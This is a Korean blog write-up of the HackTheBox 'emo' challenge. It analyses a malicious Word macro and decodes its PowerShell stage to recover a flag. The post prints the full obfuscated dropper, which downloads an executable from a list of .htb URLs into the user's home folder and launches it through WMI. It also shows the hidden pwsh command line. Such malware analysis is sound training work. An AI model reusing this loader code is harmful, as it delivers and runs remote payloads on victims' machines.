티스토리 뷰

보안/Wargame

[Hackthebox] - emo Writeup(문제풀이)

돔돔이부하 2021. 9. 13. 04:04
728x90
반응형

emo.doc 파일이 제공됩니다.

그리고 해당 파일을 분석해보면 아래와 같이 VBA 코드가 있는 것을 확인할 수 있습니다. 약 500줄 정도 되고 난독화 되어 있어 정적 분석은 어려워 보였습니다.

' module: Dw75ayd2hpcab6

Attribute VB_Name = "Dw75ayd2hpcab6"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True

...중략...

Set fCASJI = (sNHBGJB)
Dim ohlbI(5 + 5 + 1 + 7) As String
cREZHj(EPsmDJFHe) = (Sin(740) + 13 + 3027)
QZkhqLi = bYDhRDF
cREZHj(EPsmDJFHe + EPsmDJFHe) = (NgGemeSEB + 3)
cREZHj(EPsmDJFHe + EPsmDJFHe) = 2011 + Oct(8) + TddiLDt + CDbl(423) + (3 + DajuFERHE + WvQuFBA + Cos(23))
End Function

원래라면 가상 Windows 환경에서 실행해보고 동적분석을 해봐야 하지만, 저는 바이러스 검사 도구인 VirusTotal 을 사용하였습니다. (https://www.virustotal.com/ 참고)

이 도구는 빠르게 프로세스 트리를 확인해서 보여주는 데, 매우 유용합니다.

"pwsh.exe" -windowstyle hidden -ENCOD IABTAFYAIAAgADAAegBYACAAKABb...생략

제일 마지막에 powershell 명령을 실행하는 것으로 보입니다. 해당 코드를 디코딩해보면 아래와 같습니다.

sv  0zx ([type]("{2}{0}{4}{3}{1}"-f 'e','rectory','syst','.io.di','m')  ) ;
set  txyseo  (  [type]("{0}{7}{5}{6}{4}{2}{1}{8}{3}"-f'syste','tm','in','er','po','net.se','rvice','m.','anag')) ;
$nbf5tg3=('b9'+'yp'+('90'+'s'));$vxnlre0=$cludkjx + [char](64) + $r6r1tuy;$ky3q0e8=(('rq'+'dx')+'wo'+'5');
(  dir  variable:0zx).value::"creat`e`direc`t`ory"($home + ((('ndp'+'jrb')+('e'+'vk4n')+'d'+'p'+('c'+'cwr_2h')+'nd'+'p') -replace ('n'+'dp'),[char]92));$fn5ggmsh = (182,187,229,146,231,177,151,149,166);$pyozgeo=(('j5f'+'y1')+'c'+'c');
(  variable txyseo  ).value::"securi`typ`r`otoc`ol" = (('tl'+'s1')+'2');$fn5ggmsh += (186,141,228,182,177,171,229,236,239,239,239,228,181,182,171,229,234,239,239,228);$huajgb0=(('jn'+'o')+'5g'+'a1');$bb28umo = (('ale'+'7g')+'_8');$hsce_js=('kv'+('nb'+'ov_'));$spk51ue=(('c'+'7xo')+'9g'+'l');$scusbkj=$home+(('5'+'t'+('f'+'jrbev'+'k')+('45tf'+'cc'+'w')+'r'+('_2h'+'5tf')) -replace  ([char]53+[char]116+[char]102),[char]92)+$bb28umo+(('.e'+'x')+'e');$fn5ggmsh += (185,179,190,184,229,151,139,157,164,235,177,239,171,183,236,141,128,187,235,134,128,158,177,176,139);$hbmskv2t=(('c'+'7xo')+'9g'+'l');$hbmskv2t=$home+(('5'+'t'+('f'+'jrbev'+'k')+('45tf'+'cc'+'w')+'r'+('_2h'+'5tf')) -replace  ([char]53+[char]116+[char]102),[char]92)+$bb28umo+(('.c'+'o')+'nf');$q1_y05_=('w'+('4'+'qvy')+'z8');$odb3hf3=&('n'+'e'+'w-object') net.webclient;$fn5ggmsh += (183,154,173,128,175,151,238,140,183,162,228,170,173,179,229);$anbyt1y=('h'+('ttp:'+']['+'(s)]')+(('w]'+'[('))+(('s)'+']w'))+('da'+'-')+'i'+'n'+'du'+('s'+'trial.'+'h'+'t')+'b]'+('[(s)]'+'w'+'js')+((']'+'[('))+(('s'+')]w9idl'+'p]['+'(s'+')]w'+'@h'))+('t'+'tp:]')+('[(s'+')]')+'w'+(']'+'[(s)]')+('wdap'+'ro'+'fesiona'+'l.h')+'tb'+('][(s'+')'+']')+'w'+('d'+'ata')+('4][(s'+')]wh')+('wgw'+'jt')+('v]'+'[')+('(s)]w@http'+'s:][(s'+')]'+'w'+']')+'['+('(s)'+']wdag'+'ra')+'ni'+'t'+('eg'+'ia')+('re.h'+'t')+'b]'+('['+'(s)')+(']ww'+'p-a'+'dm'+'in][(s)'+']wt')+('v]['+'(s'+')')+(']w@'+'h')+'tt'+'p'+(':'+'][')+('(s)]w]['+'(s'+')]www'+'w'+'.out'+'s'+'p')+('ok'+'e')+'nv'+'i'+('s'+'ions.')+('htb'+']')+'['+('(s)]w'+'wp'+'-in')+('clu'+'d')+('es][(s)'+']waw'+'o'+'m')+(']'+'[('+'s)]w')+('@'+'http:]')+('[(s)'+']w][('+'s)')+(']wmo'+'bs')+('o'+'uk.h')+(('t'+'b][('))+(('s)'+']wwp-'))+'in'+'c'+'l'+('ude'+'s]'+'[')+('(s)]'+'w')+('uy'+'30r]')+('[(s'+')]w'+'@'+'h'+'ttp:][')+('('+'s)]w')+(']['+'(s)')+(']'+'wb')+'i'+('g'+'laugh'+'s')+(('.h'+'t'+'b][(s'))+((')]'))+('ws'+'mallpot'+'ato')+'es'+((']'+'[(s'))+((')]wy]'+'[(s'+')]w'+'@h'+'ttps:][(s)'))+']w'+('][('+'s)]wn'+'g')+('ll'+'o')+('gist'+'i')+('cs.'+'h')+'t'+('b]'+'['+'('+'s)]w')+'ad'+('mi'+'n')+'er'+']'+('[(s'+')]w'+'w3m')+'k'+(('b'+'][(s'))+((')'+']w')))."rep`lace"((']'+'['+('(s)]'+'w')),([array]('/'),('xw'+'e'))[0])."sp`lit"($ivg3zcu + $vxnlre0 + $jzaewdy);$gcoyvlv=(('kf'+'_')+('9'+'et1'));foreach ($a8i3ke1 in $anbyt1y){try{$odb3hf3."do`wnloa`dfile"($a8i3ke1, $scusbkj);$zhcnaux=(('ek'+'k')+('j'+'47t'));if ((&('get-i'+'te'+'m') $scusbkj)."len`gth" -ge 45199) {${a8`i`3ke1}.("{1}{2}{0}" -f'ay','tocha','rarr').invoke() | .("{2}{1}{0}{3}" -f'-','ach','fore','object') -process { ${fn5`ggm`sh} += ([byte][char]${_} -bxor 0xdf ) };
$fn5ggmsh += (228);
$b0rje =  [type]("{1}{0}" -f'vert','con');
$b0rje::"to`bas`e64s`tri`ng"(${fn5`ggm`sh}) | .("{2}{1}{0}" -f 'ile','ut-f','o') ${hb`msk`v2t};
([wmiclass](('wi'+'n')+('32_'+'proc'+'e')+'s'+'s'))."cr`eate"($scusbkj);$glwki6a=('i'+'m'+('td'+'xv6'));break;$pfpblh1=('vs'+('lal'+'c')+'u')}}catch{}}$f47ief2=(('bn'+'zid')+'rt')

위 난독화된 코드를 한줄씩 복호화 해보았습니다. 코드는 주로 echo 로 한줄씩 출력하면서 분석했습니다. 그리고 결론적으로 중요 코드만 복호화 해보면 아래와 같습니다.

PS C:\Users\domdomi\adsf> $fn5ggmsh = (182, 187, 229, 146, 231, 177, 151, 149, 166);
>> $fn5ggmsh += (186, 141, 228, 182, 177, 171, 229, 236, 239, 239, 239, 228, 181, 182, 171, 229, 234, 239, 239, 228);
>> $fn5ggmsh += (185, 179, 190, 184, 229, 151, 139, 157, 164, 235, 177, 239, 171, 183, 236, 141, 128, 187, 235, 134, 128, 158, 177, 176, 139);
>> $fn5ggmsh += (183, 154, 173, 128, 175, 151, 238, 140, 183, 162, 228, 170, 173, 179, 229);
>>
>> $anbyt1y = @('http://da-industrial.htb/js/9idlp/','http://daprofesional.htb/data4/hwgwjtv/','https://dagranitegiare.htb/wp-admin/tv/','http://www.outspokenvisions.htb/wp-includes/awom/','http://mobsouk.htb/wp-includes/uy30r/','http://biglaughs.htb/smallpotatoes/y/','https://ngllogistics.htb/adminer/w3mkb/');
>> $anbyt1y[0].('tochararray').invoke() | .('foreach-object') -process {
>>     ${fn5ggmsh} += ([byte][char]${_} -bxor 0xdf)
>> };
>> $fn5ggmsh += (228);
>> $b0rje = [type]('convert');
>> echo $b0rje::"tobase64string"(${fn5ggmsh})"";
trvlkuexl5Wmuo3ktrGr5ezv7+/ktbar5erv7+S5s7645ZeLnaTrse+rt+yNgLvrhoCesbCLt5qtgK+X7oy3ouSqrbPlt6urr+Xw8Lu+8raxu6qsq622vrPxt6u98LWs8Oa2u7Ov8OQ=

byte 문자들에 대해 xor 연산 후 base64 인코딩 해서 해당 내용을 특정 폴더 생성 후 파일을 만들어 그 파일에 내용을 쓰는 동작을 하는데, 임의로 해당 값을 출력만 하도록 수정해보았습니다. 그리고 출력된 내용은 위와 같습니다.

위 내용을 역으로 복호화 하기 위해서는 위 코드에서 한 동작을 반대로 하면됩니다. 즉 base64 디코딩 후 xor 연산을 해주면 아래와 같은 내용이 나옵니다.

id:M8nHJyeR;int:3000;jit:500;flag:HTB{가려짐};url:http://da-industrial.htb/js/9idlp/;

이렇게 Flag를 획득할 수 있었습니다.

 

이 문제를 풀면서 본인은 폴더와 파일을 생성하거나 URL 에 접속하는 코드들은 별도로 실행해보지 않았습니다. 물론 가장 빠르게 결과를 획득하기 위해서는 코드를 별도로 분석해서 수정하거나 하지 않고 그대로 실행시켜서 어떤 결과가 수행되었는지 Windows Powershell Event 를 확인하는 방법도 있겠습니다만 개인차인 것 같습니다.

728x90
반응형
댓글